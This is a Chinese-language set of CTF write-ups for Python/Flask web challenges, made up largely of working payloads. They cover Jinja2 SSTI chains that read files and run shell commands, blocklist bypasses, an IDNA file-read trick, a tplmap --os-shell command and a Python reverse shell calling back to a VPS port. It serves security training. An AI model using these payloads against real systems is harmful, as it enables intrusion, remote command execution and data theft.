python
[SUCTF 2019]Pythonginx
blackhat的议题,大意是IDNA在解析url过程中会对特殊字符产生意想不到的操作(doge),放个链接解释
写个python脚本fuzz一下
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
最后读一下配置文件,从中找出flag的位置
url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf
[WesternCTF2018]shrine
由源码可知,flag在环境变量里。
config,sef关键字被禁用,用{{url_for.__globals__}}查看,发现current.app
再用{{url_for.__globals__[\'current_app\'].config}}查看详细信息。
再利用flask中的get_flashed_messages
get_flashed_messages() 方法: 返回之前在Flask中通过 flash () 传入的闪现信息列表。 把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages () 方法取出 (闪现信息只能取出一次,取出后闪现信息会被清空)。
最后payload:
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[GYCTF2020]FlaskApp
报错时能看到一部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
直接ssti发现有过滤,尝试读一波源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
找到waf函数部分
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
对于字符串的过滤可以用拼接绕过
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[CSCCTF 2019 Qual]FlaskLight
简单的ssti注入,这里多放几个payload:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
[网鼎杯 2020 白虎组]PicDown
存在任意文件读取,这里用proc查看相关信息:
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/cmdline 当前进程的完整命令
/proc/self/cwd 获取目标指定进程环境的运行目录
/proc/self/exe 获得指定进程的可执行文件的完整路径
/proc/self/eviron 取指定进程的环境变量信息
/proc/self/fd 包含着当前进程打开的每一个文件的描述符
查看/proc/self/cmdline发现app.py,
没有密钥,通过爆破fd后的pid来搜索文件。
最后的payload:
/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
在vps上监听端口即可。
[RootersCTF2019]I_<3_Flask
Arjun爆一波参数先,然后直接用tplmap跑就完了。
python2 tplmap.py -u 'url/?name=1' --os-shell
[CISCN2019 华东南赛区]Double Secret
报错带出源码,传进去的字符串要经过RC4解密,写个对应的RC4加密即可:
payload:
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
[DDCTF 2019]homebrew event loop
挺有意思的逻辑漏洞
买入和扣钱不是在同一个函数中,调用函数入队和调用函数执行也不在一个函数中,于是就可以多次用trigger_event调用自己实现多次调用buy_handler函数,并把扣钱的操作留到最后。
payload:
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
这时的flag已经在session中了。接下来用p师傅的脚本进行解密即可
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
PyCalX 1&2
源码中的问题:
1.op中只检查了第一个字符,意味着第二个是没有限制的。
2.除表达式中的三个变量之外,source也是可控的。
3.value1,,value2最后是使用repr处理的,repr相当于php中的双引号,是可以进行解析的。
所以这个题就可以采用类似盲注的方法把FLAG中的内容跑出来。
2中将op中的字符全部检查了,无法用单引号进行闭合,但可以利用python3.6的新特性f-string
,简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值。
payload:
import requests
import time
url = 'http://e06e24de-4615-4d33-b982-ee1ca90bfee5.node3.buuoj.cn/cgi-bin/pycalx.py'
flag = 'flag{'
while True:
high = 127
low = 1
mid = (high + low) // 2
while high > low:
tmp = flag + chr(mid)
data = {
'value1': 'a',
'op': '+\'',
'value2': 'and FLAG>source#',
'source': tmp
}
data2 = {
'value1': 'Tru',
'op': '+f',
'value2': '{101 if FLAG>source else 102:c}',
'source': tmp
}
r = requests.get(url, data)
print(chr(mid), end="")
if r.status_code == 200:
if 'True' in r.text:
low = mid + 1
else:
high = mid
mid = (high + low) // 2
else:
time.sleep(1)
flag += chr(mid-1)
print(" | flag="+flag)
if "}" in flag:
break
print("flag="+flag)